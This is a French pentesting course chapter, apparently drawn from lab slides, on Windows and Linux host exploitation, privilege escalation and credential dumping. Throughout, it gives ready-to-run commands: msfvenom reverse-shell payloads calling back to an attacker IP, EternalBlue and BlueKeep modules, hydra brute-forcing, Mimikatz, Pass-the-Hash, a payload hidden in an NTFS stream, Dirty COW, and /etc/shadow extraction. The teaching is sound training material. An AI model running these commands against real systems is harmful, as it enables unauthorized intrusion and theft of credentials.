Ce chapitre présente ce qui se passe lorsqu’un pentester passe de la découverte d’un hôte à l’exploitation du système qui l’exécute. L’objectif est de comprendre les mécanismes propres à Windows et Linux afin de transformer un premier accès en contrôle plus important, tout en sachant exactement pourquoi chaque étape est réalisée.
Le raisonnement doit rester orienté par les preuves : une version, un port, un compte, un privilège ou une permission constitue une information permettant de réduire les possibilités. Chaque technique présentée dans ce chapitre doit donc être reliée à un prérequis observable sur la cible.
Le cœur du programme de pentesting : exploitation de vulnérabilités Windows et Linux, escalade de privilèges, dump de identifiants — sur un labo isolé, avec des cibles volontairement vulnérables.
WebDAV, SMB/PsExec, EternalBlue, RDP, BlueKeep, WinRM.
Kernel exploits, UAC, tokens, ADS, hashes, Mimikatz, Pass-the-Hash.
Shellshock, FTP/SSH/SAMBA, Cron, SUID, dump de mots de passe.
Ce chapitre doit permettre à l'étudiant de passer d'un simple service découvert à une compréhension complète de la machine ciblée. L'objectif n'est pas de mémoriser une liste d'exploits, mais de savoir relier une information observée à une hypothèse d'exploitation, puis de vérifier cette hypothèse de manière méthodique.
À la fin de la formation, l'étudiant doit pouvoir reconnaître les principales surfaces d'attaque Windows et Linux, effectuer une énumération locale après un premier accès, identifier des chemins de privilege escalation et comprendre comment des identifiants ou des hashes peuvent être récupérés puis réutilisés.
Une attaque système/hôte vise les caractéristiques propres à la machine ciblée : son système d’exploitation, ses services, ses mécanismes d’authentification, ses fichiers et son modèle de privilèges. Après l’identification d’un service exposé, le pentester cherche à déterminer si la faiblesse vient du service lui-même, de sa configuration ou directement du système.
Un service ouvert n'est qu'une porte potentielle. Il faut ensuite déterminer ce qui se trouve derrière cette porte : version du logiciel, méthode d'authentification, permissions, fichiers accessibles et comportement du service. Cette distinction permet d'éviter de lancer un exploit qui ne correspond pas à la cible.
Les attaques System/Host Based ciblent un système précis et ses vulnérabilités propres. Elles interviennent notamment après l'accès au réseau cible et demandent de comprendre l'OS visé, ses mauvaises configurations et ses vulnérabilités.
Sous Windows, une même machine peut présenter plusieurs surfaces d’attaque : services réseau, composants système, mécanismes d’authentification et configurations locales. L’énumération sert donc à établir une relation entre le service découvert, sa version et les vulnérabilités qui peuvent lui être associées.
Les exemples Windows du chapitre couvrent deux situations différentes : exploiter directement un service vulnérable ou utiliser une authentification légitime pour accéder à une fonctionnalité d'administration. Dans les deux cas, l'énumération du service et de sa version précède l'exploitation.
Avant d'exploiter : identifier le service Windows exposé, sa version et le type de vulnérabilité recherché. Les principales familles rencontrées sont la divulgation d'information, le buffer overflow, l'exécution de code à distance (RCE), l'élévation de privilèges et le déni de service (DoS).
WebDAV ajoute à HTTP des fonctionnalités permettant de manipuler des ressources à distance. Lorsqu’il est activé et mal configuré, il peut devenir une piste d’exploitation : on commence par déterminer les méthodes autorisées et les possibilités d’écriture, puis on vérifie si ces possibilités permettent d’atteindre un objectif d’exécution ou d’accès.
Le point important est la chaîne complète : découvrir WebDAV, identifier le répertoire concerné, déterminer si l'authentification est requise, tester les possibilités d'écriture, puis vérifier si un fichier accepté peut être interprété par IIS. L'upload d'un fichier n'est donc pas automatiquement synonyme d'exécution de code.
.asp malveillant pour exécuter des commandes ou obtenir un shell.# Reconnaissance nmap -sV -p80 --script=http-enum @IP_cible # Brute-force des identifiants WebDAV hydra -L users.txt -P passwords.txt @IP_cible http-get /webdav/ # Créer un payload Meterpreter au format .asp msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=@IP_attaquant LPORT=4444 -f asp > shell.asp # Se connecter et uploader le payload cadaver http://@IP_cible/webdav/ put shell.asp # Écouter la connexion retour use multi/handler set payload windows/meterpreter/reverse_tcp run
nmap -sV -sC <IP> nmap -sV -p80 --script=http-enum <IP> hydra -L common_users.txt -P common_passwords.txt <IP> http-get /webdav/ davtest -url http://<IP>/webdav -auth user:password cadaver http://<IP>/webdav/
davtest permet d'identifier les possibilités d'un serveur WebDAV, tandis que cadaver fournit une interface en ligne de commande pour interagir avec les ressources WebDAV et transférer des fichiers.
SMB est un protocole central dans les environnements Windows et peut permettre l’administration distante. PsExec exploite ce mécanisme avec des identifiants valides pour créer un service et exécuter des commandes à distance ; la possession d’identifiants ne signifie donc pas automatiquement que l’on dispose déjà des privilèges administrateur.
SMB fournit le transport et PsExec exploite les mécanismes Windows permettant la création et l'exécution d'un service distant. Le scénario dépend donc fortement des droits associés aux credentials utilisés. Il faut distinguer une simple capacité d'accès à un partage d'une capacité d'administration distante.
# Brute-force du service SMB use auxiliary/scanner/smb/smb_login set RHOSTS @IP_cible set USER_FILE common_users.txt set PASS_FILE unix_password.txt run # Authentification via PsExec psexec.py Administrator@@IP_cible cmd.exe # Alternative via module Metasploit use exploit/windows/smb/psexec set RHOST @IP_cible set SMBUser administrateur set SMBPass motdepasse
PsExec s'appuie sur SMB. Avec des identifiants valides, il permet d'exécuter des commandes à distance et, selon le contexte, d'obtenir une session distante.
nmap -sV -sC <IP> use auxiliary/scanner/smb/smb_login set RHOST <IP> set USER_FILE common_users.txt set PASS_FILE unix_password.txt run psexec.py Administrator@<IP> use exploit/windows/smb/psexec
EternalBlue cible une faiblesse du protocole SMB sur certaines versions vulnérables de Windows. Le point pédagogique important est de ne pas confondre détection et exploitation : une signature MS17-010 indique une piste à valider, tandis que l’exploitation dépend de la version et de l’état réel de la cible.
MS17-010 est un exemple classique où la version et le niveau de correctifs sont déterminants. Une détection positive doit être considérée comme une piste à confirmer. L'exploitation vise une exécution distante via SMB sur les systèmes concernés, ce qui explique son importance dans ce chapitre.
# Vérifier si la cible est vulnérable nmap -sV -p445 --script=smb-vuln-ms17-010 @IP_cible # Exploitation via Metasploit use exploit/windows/smb/ms17_010_eternalblue set RHOST @IP_cible exploit # --> session Meterpreter privilégiée
nmap -p445 --script=smb-vuln-ms17-010 <IP> use exploit/windows/smb/ms17_010_eternalblue set RHOST <IP> exploit
MS17-010/CVE-2017-0144 correspond à une vulnérabilité SMB pouvant permettre l'exécution de code à distance sur les systèmes vulnérables.
RDP fournit un accès graphique distant à Windows et constitue donc une surface d’attaque importante lorsqu’il est exposé. Deux scénarios doivent être distingués : utiliser RDP avec des identifiants valides, ou exploiter une vulnérabilité du service comme BlueKeep sur une machine concernée.
RDP est avant tout un mécanisme d'administration distante : avec des credentials valides, il peut fournir une session sans exploiter une CVE. BlueKeep représente au contraire une faiblesse du service RDP lui-même. Cette distinction aide l'étudiant à choisir entre attaque par authentification et exploitation de vulnérabilité.
hydra -L users.txt -P passwords.txt rdp://@IP_cible xfreerdp /u:user /p:motdepasse /v:@IP_cible
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep set RHOSTS @IP_cible run use exploit/windows/rdp/cve_2019_0708_bluekeep show targets
hydra -L users.txt -P passwords.txt rdp://<IP> xfreerdp /u:user /p:password /v:<IP> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep set RHOSTS <IP> run
Deux scénarios doivent être distingués : l'accès RDP avec des identifiants valides et l'exploitation d'une vulnérabilité RDP telle que BlueKeep.
WinRM fournit un mécanisme d’administration distante basé sur les services Windows Remote Management. Dans un pentest, il devient particulièrement intéressant lorsqu’une énumération ou un credential dumping fournit des identifiants valides ; l’objectif est alors d’utiliser le canal d’administration existant plutôt que de chercher nécessairement une nouvelle vulnérabilité.
WinRM est particulièrement intéressant après la récupération d'un compte valide. Il permet d'utiliser une interface d'administration distante déjà présente sur Windows. Le niveau de privilège obtenu doit ensuite être vérifié, car l'accès au service ne garantit pas que le compte dispose de droits administratifs.
# Brute-force + exécution de commande crackmapexec winrm @IP_cible -u administrateur -p passwords.txt crackmapexec winrm @IP_cible -u administrateur -p motdepasse -x "whoami" # Shell interactif evil-winrm.rb -u administrateur -p 'motdepasse' -i @IP_cible
WinRM constitue un vecteur d'administration et d'accès distant lorsque des identifiants valides sont disponibles.
crackmapexec winrm <IP> -u administrator -p password crackmapexec winrm <IP> -u administrator -p password -x "whoami" evil-winrm.rb -u administrator -p 'password' -i <IP>
Après l’accès initial, le pentest devient une boucle d’énumération et de validation. Chaque nouvelle information — utilisateur, privilège, processus, service, version ou fichier — réduit l’espace des possibilités et permet de sélectionner une technique plus précise.
Une bonne post-exploitation commence par une photographie de l'environnement. L'identité, les privilèges, les processus, les services, les routes réseau et les fichiers accessibles fournissent les indices nécessaires pour choisir entre privilege escalation, récupération de secrets ou utilisation d'un autre service.
Ne saute pas directement à l'exploit. Identifie d'abord le service, l'OS, la version et la vulnérabilité potentielle avant de choisir une technique.
Une session Windows limitée ne constitue que le point de départ. Les premières commandes doivent permettre de répondre à quatre questions : qui suis-je, quels privilèges ai-je, quelle machine utilise-t-on et quels services/processus peuvent fournir une piste d’élévation ou de mouvement latéral ?
Les commandes ne doivent pas être exécutées comme une liste mécanique. whoami répond à la question de l'identité, whoami /priv aux privilèges, systeminfo à l'environnement système et netstat aux connexions réseau. Cette méthode permet de construire une hypothèse d'attaque à partir de faits observés.
whoami whoami /priv whoami /groups net user net localgroup administrators systeminfo
tasklist sc query net start ipconfig /all route print netstat -ano
Le but est de déterminer qui suis-je ?, quels privilèges ai-je ?, quels services/processus tournent ? et comment la machine est connectée ?
L’escalade par le kernel consiste à exploiter une vulnérabilité permettant de passer d’un contexte de privilèges limité à un contexte plus privilégié. La première étape est toujours l’identification précise du système : version de Windows, architecture, correctifs installés et privilèges actuels.
Le kernel fonctionne au niveau le plus privilégié du système et contrôle notamment les ressources matérielles et mémoire. Une vulnérabilité kernel peut donc permettre de franchir une séparation de privilèges importante. Le PDF insiste sur l'identification de la version, des correctifs et de l'exploit compatible avant toute tentative.
# Élévation automatique via Metasploit getsystem # Suggestion d'exploits locaux use post/multi/recon/local_exploit_suggester run # Méthode manuelle : Windows-Exploit-Suggester # à partir d'un export "systeminfo", identifie les # patchs manquants et l'exploit correspondant à uploader
La démarche consiste d'abord à identifier précisément le système, puis à rechercher les vulnérabilités locales compatibles avec sa version et sa configuration.
systeminfo use post/multi/recon/local_exploit_suggester set SESSION <ID> run
Avant de chercher un exploit kernel, il faut comparer la version exacte du système et ses correctifs avec les vulnérabilités connues. Un exploit local n’est pertinent que si ses prérequis correspondent à la cible ; cette validation évite les tentatives aveugles et les crashes inutiles.
Cette slide complète la partie théorique par une procédure de collecte concrète. systeminfo fournit une vue globale, WMIC permet d'identifier les hotfix et l'architecture, puis local_exploit_suggester peut proposer des pistes. L'étudiant doit cependant vérifier manuellement les prérequis avant d'exécuter un exploit.
systeminfo wmic qfe get HotFixID wmic os get Caption,Version,OSArchitecture
use post/multi/recon/local_exploit_suggester set SESSION <ID> run
UAC ajoute une séparation entre certaines actions réalisées par un utilisateur administrateur et les actions nécessitant une élévation. Un contournement UAC ne transforme pas un utilisateur standard en administrateur : il vise un contexte où le compte possède déjà des droits administratifs mais où le processus courant n’est pas encore élevé.
UAC doit être compris avant d'être contourné : un utilisateur appartenant aux administrateurs locaux peut exécuter certains programmes avec un contexte non élevé. Le bypass vise cette séparation. Il ne faut donc pas présenter UAC comme une technique qui transforme un compte standard en SYSTEM.
# Générer un exécutable de callback msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=@IP_attaquant LPORT=4444 -f exe > backdoor.exe # Depuis une session Meterpreter non privilégiée upload backdoor.exe upload UACMe/Akagi64.exe shell .\Akagi64.exeC:\Temp\backdoor.exe # --> nouvelle session avec privilèges élevés
Un contournement UAC concerne le contexte d'un compte administrateur. UACMe regroupe différentes techniques exploitant des mécanismes d'élévation automatique afin d'obtenir un contexte plus privilégié.
Le modèle UAC est plus facile à comprendre si l’on distingue identité, appartenance à un groupe et niveau d’élévation du processus. Un utilisateur membre des administrateurs peut fonctionner avec un contexte non élevé ; l’objectif d’un bypass est alors de franchir cette barrière sans demander une nouvelle authentification interactive.
Avant de chercher UACMe, il faut déterminer si le compte courant appartient réellement aux administrateurs locaux. Les commandes whoami /groups et net localgroup administrators permettent de répondre à cette question. Si le compte n'est pas administrateur, un bypass UAC n'est généralement pas la piste adaptée.
whoami whoami /groups whoami /priv net localgroup administrators
Un Access Token décrit le contexte de sécurité sous lequel un processus ou un thread agit. Si une session compromise peut accéder à un token plus privilégié, l’impersonation peut permettre d’adopter temporairement ce contexte ; la migration vers un processus approprié peut alors être nécessaire pour conserver le contexte obtenu.
Le token transporte notamment l'identité et le contexte de sécurité utilisés par un processus. Dans un scénario d'impersonation, l'intérêt vient de la présence d'un token exploitable sur la machine. Après l'impersonation, la vérification de l'identité et des privilèges est indispensable pour confirmer le changement de contexte.
SeImpersonatePrivilege ou SeAssignPrimaryToken sur le compte compromis.# Depuis une session Meterpreter load incognito list_tokens -u # Emprunter un token disponible impersonate_token "nom_du_token" getuid
getprivs load incognito list_tokens -u impersonate_token "nom_du_token" getuid
Un Access Token définit le contexte de sécurité associé à un processus ou à un thread. Incognito permet d'énumérer et d'utiliser certains tokens accessibles depuis une session compromise.
L’intérêt d’Incognito vient du fait que certains tokens peuvent exister dans le contexte accessible à une session compromise. L’énumération des tokens permet d’identifier les identités disponibles avant de tenter une impersonation ; il faut ensuite vérifier le nouveau contexte avec getuid ou des commandes équivalentes.
Le workflow est volontairement court : obtenir les privilèges nécessaires, charger Incognito, lister les tokens, choisir une identité intéressante, puis vérifier le nouveau contexte. La présence d'un token n'est pas une garantie de succès ; les privilèges et le type de token doivent être compatibles avec l'action recherchée.
Un Access Token décrit le contexte de sécurité d'un processus ou d'un thread. Si un token intéressant est présent sur la machine compromise, il peut être pertinent dans une élévation de privilèges.
getprivs load incognito list_tokens -u impersonate_token "DOMAIN\\user" getuid migrate <PID>
À retenir : trouver un token ne suffit pas ; il faut disposer des privilèges nécessaires pour l'utiliser et choisir un processus compatible.
Les Alternate Data Streams sont une fonctionnalité de NTFS permettant d’associer plusieurs flux de données à un même fichier. Pour un pentester, il est important de savoir les identifier car une donnée stockée dans un flux secondaire peut ne pas apparaître lors d’une inspection classique du contenu du fichier principal.
ADS est une fonctionnalité NTFS et non une vulnérabilité en elle-même. Le risque apparaît lorsqu'un attaquant l'utilise pour dissimuler des données ou un exécutable dans un flux secondaire. L'étudiant doit donc retenir à la fois le mécanisme technique et la raison pour laquelle une inspection classique peut ne pas révéler le contenu caché.
# Créer un fichier caché dans le flux d'un fichier légitime notepad test.txt notepad test.txt:secret.txt # Cacher un exécutable (ex: payload) dans un fichier log type payload.exe > windowslog.txt:winpeas.exe
Les Alternate Data Streams (ADS) sont une fonctionnalité de NTFS permettant d'associer des flux de données supplémentaires à un fichier.
notepad test.txt notepad test.txt:secret.txt type payload.exe > windowslog.txt:winpeas.exe
Windows ne stocke pas simplement les mots de passe en clair dans la base SAM. Les informations d’authentification sont représentées par des hashes, et la compréhension de LM et NTLM permet de comprendre ce qui peut être récupéré, cassé ou réutilisé après un credential dumping.
Le chapitre distingue l'ancien mécanisme LM de NTLM et explique le rôle de la SAM dans le stockage local des informations de comptes. Cette connaissance est importante pour comprendre ce que produit un hashdump et pourquoi certains hashes peuvent être cassés ou réutilisés dans un scénario Pass-the-Hash.
Le chapitre couvre le stockage des hashes Windows, leur extraction puis leur utilisation dans les scénarios de récupération de secrets et Pass-the-Hash.
hashdump # Puis, selon le scénario : john hashes.txt hashcat -m 1000 hashes.txt wordlist.txt
Les credentials ne se trouvent pas uniquement dans les bases d’authentification. Les fichiers de déploiement, scripts, configurations d’applications et mécanismes d’installation automatisée peuvent contenir des secrets parce qu’ils doivent permettre à des composants de s’authentifier automatiquement.
Les fichiers Unattend représentent un cas concret de secret laissé sur disque après un déploiement automatisé. Le fichier peut contenir des informations de configuration et des credentials utilisés pendant l'installation. La recherche de secrets doit donc inclure les fichiers de configuration et pas uniquement la base SAM.
C:\Windows\Panther\Unattend.xml et Autounattend.xml.# Depuis une session Meterpreter search -f Unattend.xml download Unattend.xml cat Unattend.xml # Décoder le mot de passe trouvé echo "mot_de_passe_encode" | base64 -d
Les fichiers de configuration et de déploiement automatisé peuvent contenir des informations sensibles : comptes, mots de passe, clés ou paramètres de connexion.
search -f Unattend.xml download Unattend.xml echo "mot_de_passe_encode" | base64 -d
Mimikatz est utilisé pour récupérer différents secrets Windows lorsque le contexte de privilèges le permet. La logique à retenir est de comprendre la source du secret : SAM pour certaines informations de comptes locaux, LSASS pour des informations présentes en mémoire, et les secrets de configuration pour d’autres données sensibles.
Mimikatz intervient après l'obtention d'un contexte suffisamment privilégié. Le PDF montre deux approches : utiliser l'extension Kiwi depuis Meterpreter ou exécuter Mimikatz directement. L'étudiant doit comprendre que les commandes ne produisent pas toutes le même type de données et que l'accès à LSASS nécessite des privilèges appropriés.
# Depuis une session Meterpreter privilégiée load kiwi creds_all lsa_dump_sam # Ou via l'exécutable Mimikatz privilege::debug lsadump::sam sekurlsa::logonpasswords
load kiwi creds_all lsa_dump_sam privilege::debug lsadump::sam sekurlsa::logonpasswords
Mimikatz est utilisé pour certaines opérations de récupération de secrets Windows. Dans Meterpreter, l'extension Kiwi fournit plusieurs fonctions de récupération de secrets.
La recherche de secrets doit être structurée plutôt que limitée à un seul outil. Sur Windows, les principales pistes étudiées ici sont la SAM, la mémoire de LSASS et les fichiers de configuration ; chacune nécessite des privilèges et produit des informations différentes.
Une énumération efficace évite de dépendre d'un seul outil. La SAM concerne les comptes locaux, LSASS peut contenir des informations en mémoire et les fichiers de configuration peuvent exposer des credentials statiques. Ces trois sources répondent à des situations différentes et doivent être recherchées en fonction du niveau de privilège obtenu.
Contient les informations de comptes locaux et leurs hashes.
Processus contenant potentiellement des secrets d'authentification en mémoire.
Fichiers de configuration et de déploiement pouvant contenir des identifiants.
load kiwi creds_all lsa_dump_sam lsa_dump_secrets sekurlsa::logonpasswords
Le Pass-the-Hash repose sur une idée importante : dans certains mécanismes d’authentification Windows, un hash NTLM peut être utilisé directement pour s’authentifier sans connaître le mot de passe en clair. Le scénario suit donc généralement trois étapes : récupérer le hash, identifier le compte correspondant, puis tester une authentification distante compatible.
Le Pass-the-Hash montre pourquoi un hash doit être considéré comme un secret sensible. Si un mécanisme d'authentification accepte le hash NTLM, l'attaquant peut parfois l'utiliser sans connaître le mot de passe original. La technique transforme donc une opération de credential dumping en possibilité d'accès distant.
# Après avoir dumpé le hash (hashdump / Mimikatz) use exploit/windows/smb/psexec set RHOST @IP_cible set SMBUser Administrator set SMBPass NThash:NTLMhash # Alternative avec crackmapexec crackmapexec smb @IP_cible -u Administrator -H "hash_ntlm"
Le Pass-the-Hash permet d'utiliser un hash NTLM dans un mécanisme d'authentification sans récupérer le mot de passe en clair.
use exploit/windows/smb/psexec set RHOST <IP> set SMBUser Administrator set SMBPass <NTLM hash>
Le Pass-the-Hash illustre la différence entre récupérer un secret et l’utiliser. Une fois un hash NTLM obtenu, le pentester peut tester s’il permet une authentification distante sur des services compatibles, ce qui peut transformer une compromission locale en accès à une autre machine.
Il faut séparer clairement trois opérations : obtenir le hash, vérifier à quel compte il appartient et tester sa réutilisation. Cette séparation permet de comprendre pourquoi un credential dump peut avoir un impact bien supérieur à la machine initialement compromise.
use exploit/windows/smb/psexec set RHOST <IP> set SMBUser Administrator set SMBPass <NTLM_HASH> crackmapexec smb <IP> -u Administrator -H "<NTLM_HASH>"
Linux présente une surface d’attaque différente, mais la logique reste identique : identifier l’OS, énumérer les services et comprendre leur configuration avant de choisir une technique. FTP, SSH et SAMBA peuvent fournir un accès initial, tandis que les faiblesses locales deviennent importantes une fois une session obtenue.
Le chapitre Linux commence par les services fréquemment rencontrés : FTP, SSH et SAMBA. La logique reste identique à Windows : identifier la version, comprendre l'authentification et vérifier les permissions. Une connexion réussie doit ensuite être suivie d'une énumération locale afin de déterminer la suite du chemin d'attaque.
Côté Linux, l'analyse couvre notamment Shellshock ainsi que les services FTP, SSH et SAMBA, puis les principales pistes d'élévation de privilèges : kernel, Cron et SUID.
Shellshock est une vulnérabilité de Bash qui devient particulièrement intéressante lorsqu’un serveur expose un mécanisme CGI utilisant Bash. Le scénario pédagogique consiste à comprendre le chemin des données : requête HTTP → serveur CGI → environnement Bash → interprétation de données contrôlées → éventuelle exécution de commandes.
Shellshock devient exploitable dans certains scénarios où Bash traite des données provenant d'un service comme CGI. L'étudiant doit visualiser la chaîne HTTP → CGI → Bash. Sans vecteur permettant d'atteindre Bash, la présence de la vulnérabilité historique ne suffit pas à obtenir une exécution distante.
# Vérifier la vulnérabilité nmap -sV --script=http-shellshock \ --script-args "http-shellshock.uri=/script.cgi" @IP_cible # Exploitation via Metasploit (méthode recommandée) use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOST @IP_cible set TARGETURI /script.cgi run # --> session Meterpreter
nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/script.cgi" <IP> use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOST <IP> set TARGETURI /script.cgi run
Shellshock affecte Bash et peut devenir exploitable lorsqu'un service CGI transmet des données contrôlées par l'utilisateur à un environnement Bash vulnérable.
Le point clé de Shellshock est la chaîne d’exécution, pas seulement le nom de la CVE. Le serveur web transmet certaines données au mécanisme CGI, Bash interprète alors un environnement construit à partir de ces données, et une configuration vulnérable peut transformer une simple requête web en exécution de commandes.
Pour expliquer Shellshock à un étudiant, il est utile de suivre les données plutôt que la commande Metasploit : une requête atteint un script CGI, le serveur crée le contexte d'exécution, Bash interprète l'environnement et la vulnérabilité peut alors provoquer l'exécution de commandes.
Shellshock affecte Bash et peut permettre l'exécution de commandes à distance dans certains scénarios où Bash est invoqué par un service CGI vulnérable.
use exploit/multi/http/ apache_mod_cgi_bash_env_exec set RHOST <IP> set TARGETURI /script.cgi run
À vérifier : présence d'un endpoint CGI exploitable, chemin correct du script et environnement vulnérable. La simple présence de Bash ne suffit pas.
Les services classiques ne doivent jamais être ignorés parce qu’ils sont anciens ou courants. Une authentification faible, une mauvaise configuration ou une version vulnérable peut fournir un accès initial ; après connexion, il faut cependant déterminer immédiatement les privilèges réellement obtenus.
FTP peut permettre de récupérer ou déposer des fichiers, SSH peut fournir une session interactive et SAMBA permet d'énumérer ou manipuler des partages. Le PDF présente également l'utilisation d'outils comme Hydra, smbclient et SMBMap. Après authentification, il faut toujours vérifier le compte et ses permissions.
# FTP anonyme + brute-force ftp @IP_cible hydra -L users.txt -P passwords.txt @IP_cible ftp # SSH brute-force hydra -L users.txt -P passwords.txt @IP_cible ssh # SAMBA énumération smbclient -L @IP_cible -U username enum4linux -a @IP_cible
ftp <IP> hydra -L users.txt -P passwords.txt <IP> ftp hydra -L users.txt -P passwords.txt <IP> ssh smbmap -H <IP> -u username -p password smbclient -L <IP> -U username smbclient //<IP>/share -U username enum4linux -a <IP>
Pour chaque service, l’objectif n’est pas seulement de savoir qu’il est ouvert mais de comprendre ce qu’il permet. FTP peut fournir des fichiers ou une authentification, SSH une session interactive, et SAMBA un accès à des ressources Windows/Linux partagées ; le niveau de privilège doit être vérifié après chaque authentification.
Le PDF montre que l'exploitation peut être basée sur des credentials obtenus par énumération ou brute-force dans un environnement de laboratoire. SMB/Samba mérite une attention particulière car smbclient et SMBMap permettent d'aller au-delà de l'authentification et d'énumérer les ressources accessibles.
ftp <IP> hydra -l user -P pass.txt <IP> ftp
ssh user@<IP> hydra -l user -P pass.txt <IP> ssh
smbclient -L <IP> enum4linux -a <IP> smbmap -H <IP>
Réflexe : une authentification réussie peut fournir l'accès initial ; elle ne signifie pas automatiquement que l'utilisateur est root ou administrateur.
Une fois connecté à Linux, l’objectif immédiat est de construire une photographie de la machine : identité, version du système, interfaces réseau, routes, services en écoute et processus actifs. Ces informations déterminent si la prochaine piste doit être un service, une mauvaise configuration ou une vulnérabilité locale.
Les premières commandes Linux doivent donner une vue minimale mais complète de la machine. id et whoami décrivent le contexte utilisateur, uname et os-release le système, ip et ss le réseau, ps les processus. sudo -l ajoute immédiatement une piste de privilege escalation lorsqu'il est autorisé.
id whoami uname -a cat /etc/os-release hostname
sudo -l ip a ip route ss -tulpn ps aux
Quel utilisateur suis-je ? Puis-je utiliser sudo ? Quels services/processus tournent avec des privilèges élevés ? Quels fichiers puis-je modifier ?
Une vulnérabilité du kernel peut permettre de transformer une session limitée en session privilégiée. Cette technique est fortement dépendante de la version du kernel et de la configuration de la machine : l’énumération doit donc précéder toute tentative d’exploitation.
Un exploit kernel Linux dépend fortement de la version du kernel, de la distribution et de l'architecture. La collecte avec uname, /etc/os-release et /proc/version permet de caractériser la cible avant de consulter un outil de suggestion. Un résultat de recherche doit ensuite être validé avant exécution.
# Depuis une session shell, identifier les exploits possibles chmod +x les.sh && ./les.sh # Compiler et exécuter un exploit (ex: Dirty COW) gcc -pthread dirty.c -o dirty -lcrypt ./dirty motdepasse123 # --> création d'un nouvel utilisateur avec privilèges root
La démarche est progressive : identifier la version du kernel, rechercher une vulnérabilité compatible, puis préparer et exécuter l'exploit dans l'environnement cible.
uname -a cat /etc/os-release # Linux Exploit Suggester chmod +x les.sh ./les.sh
La recherche d’un exploit kernel commence par la collecte d’informations fiables. uname, /etc/os-release et /proc/version permettent de caractériser l’environnement ; un outil de suggestion peut ensuite réduire la recherche aux vulnérabilités correspondant au système identifié.
Linux Exploit Suggester sert à réduire le nombre de vulnérabilités à examiner. Il ne remplace pas la validation : une version proche mais différente, une architecture incompatible ou une précondition absente peut rendre l'exploit inutilisable.
Le kernel exploit dépend de la version du kernel et de la distribution. La méthodologie présentée est : identifier → rechercher une vulnérabilité → transférer → compiler/exécuter.
uname -a cat /etc/os-release cat /proc/version
chmod +x les.sh ./les.sh
Important : un exploit proposé par un suggester n'est pas une preuve d'exploitabilité. Vérifier la version, l'architecture et les préconditions.
Cron et SUID représentent deux classes classiques de mauvaises configurations Linux. Dans les deux cas, le principe est de trouver un élément exécuté avec plus de privilèges que l’utilisateur courant et de vérifier si cet élément peut être influencé ou détourné depuis la session compromise.
Pour Cron, la faiblesse vient de la combinaison entre exécution privilégiée et contrôle d'un script ou d'un fichier par l'utilisateur compromis. Pour SUID, le principe est différent mais la question reste similaire : quel élément s'exécute avec davantage de privilèges et puis-je influencer son comportement ?
crontab -l, permissions d'écriture) exécutés par root.# Cron crontab -l ls -al /etc/cron.d/ ls -al /etc/crontab # SUID find / -perm -4000 -type f 2>/dev/null ls -al /path/to/binary strings /path/to/binary
Un Cron exécuté avec les privilèges de root devient intéressant si le script ou les fichiers manipulés peuvent être modifiés par l'utilisateur compromis. Pour SUID, il faut rechercher un binaire privilégié dont le comportement peut être détourné.
Un Cron devient intéressant lorsque la tâche s’exécute avec un privilège supérieur et qu’une partie de ce qu’elle exécute est contrôlable par l’utilisateur compromis. Il faut donc vérifier à la fois la fréquence, l’identité d’exécution et les permissions du script ou des fichiers utilisés.
Le point essentiel est d'identifier qui exécute le job et ce que le job exécute. Un script root modifiable par l'utilisateur courant constitue une piste forte, alors qu'un Cron root qui exécute uniquement des fichiers protégés ne fournit pas la même opportunité.
crontab -l ls -al /etc/cron.d/ cat /etc/crontab ls -al /etc/cron.*
Principe : ce n'est pas « Cron = vulnérable ». La faiblesse vient de la combinaison privilège élevé + exécution automatique + contrôle par l'utilisateur.
Le bit SUID fait exécuter un programme avec l’identité du propriétaire du fichier. Un binaire SUID appartenant à root mérite donc une analyse particulière, mais sa présence seule ne constitue pas une vulnérabilité : il faut encore trouver une fonctionnalité ou un comportement exploitable.
Un fichier SUID n'est pas automatiquement vulnérable. L'analyse doit porter sur son propriétaire, ses permissions, ses fonctionnalités et la manière dont il traite les entrées. Les commandes de recherche permettent de réduire rapidement la liste des binaires à examiner plus en détail.
find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null
ls -la /path/binary file /path/binary strings /path/binary
sudo permet de déléguer certaines commandes sans donner nécessairement un shell root complet. L’énumération avec sudo -l permet de connaître précisément ce que l’utilisateur actuel est autorisé à exécuter et de rechercher ensuite si une commande autorisée permet une exécution de commandes arbitraires ou un shell.
sudo -l fournit une information particulièrement utile car il décrit les commandes que l'utilisateur peut exécuter avec un autre contexte. Le point pédagogique est de rechercher une primitive d'exécution de commandes dans les programmes autorisés plutôt que de supposer que toute règle sudo donne directement un shell root.
sudo -l
root ou autre).NOPASSWD.Une commande autorisée par sudo peut parfois fournir une primitive permettant d'exécuter un shell ou une autre commande avec les privilèges du contexte autorisé.
Sous Linux, /etc/passwd décrit les comptes et reste généralement lisible par les utilisateurs, tandis que /etc/shadow contient les informations de hash protégées. Lorsque les données de shadow sont accessibles dans un contexte privilégié, elles peuvent être combinées avec des outils de récupération de mots de passe pour analyser la robustesse des secrets.
Le fichier passwd est principalement une base descriptive des comptes, alors que shadow protège les informations de hash. Lorsque shadow devient lisible, le niveau de privilège est déjà important. Les hashes peuvent ensuite être traités hors ligne, par exemple avec unshadow et John, afin d'évaluer la robustesse des mots de passe.
/etc/passwd : informations sur les comptes, lisible par tous — ne contient pas les mots de passe eux-mêmes./etc/shadow : contient les hash des mots de passe, lisible uniquement par root — l'algorithme utilisé est indiqué par le préfixe $N$.# Depuis une session privilégiée cat /etc/shadow # Extraction automatisée via Metasploit use post/linux/gather/hashdump set session @id_session run
cat /etc/passwd cat /etc/shadow # Exemple de traitement hors ligne unshadow /etc/passwd /etc/shadow > hashes.txt john hashes.txt john --show hashes.txt
Sous Linux, /etc/passwd contient les informations de compte tandis que /etc/shadow contient les informations d'authentification protégées.
La distinction entre passwd et shadow est fondamentale pour comprendre le stockage des comptes Linux. passwd contient les informations générales du compte, tandis que shadow protège les hashes d’authentification ; l’accès à shadow indique donc déjà un niveau de privilège significatif.
Le préfixe du hash dans shadow peut renseigner sur le mécanisme de stockage utilisé. Après récupération, un hash doit idéalement être traité hors ligne : l'objectif du pentest est d'évaluer la robustesse du secret sans multiplier inutilement les tentatives sur le système cible.
cat /etc/passwd cat /etc/shadow unshadow passwd shadow > hashes.txt john hashes.txt
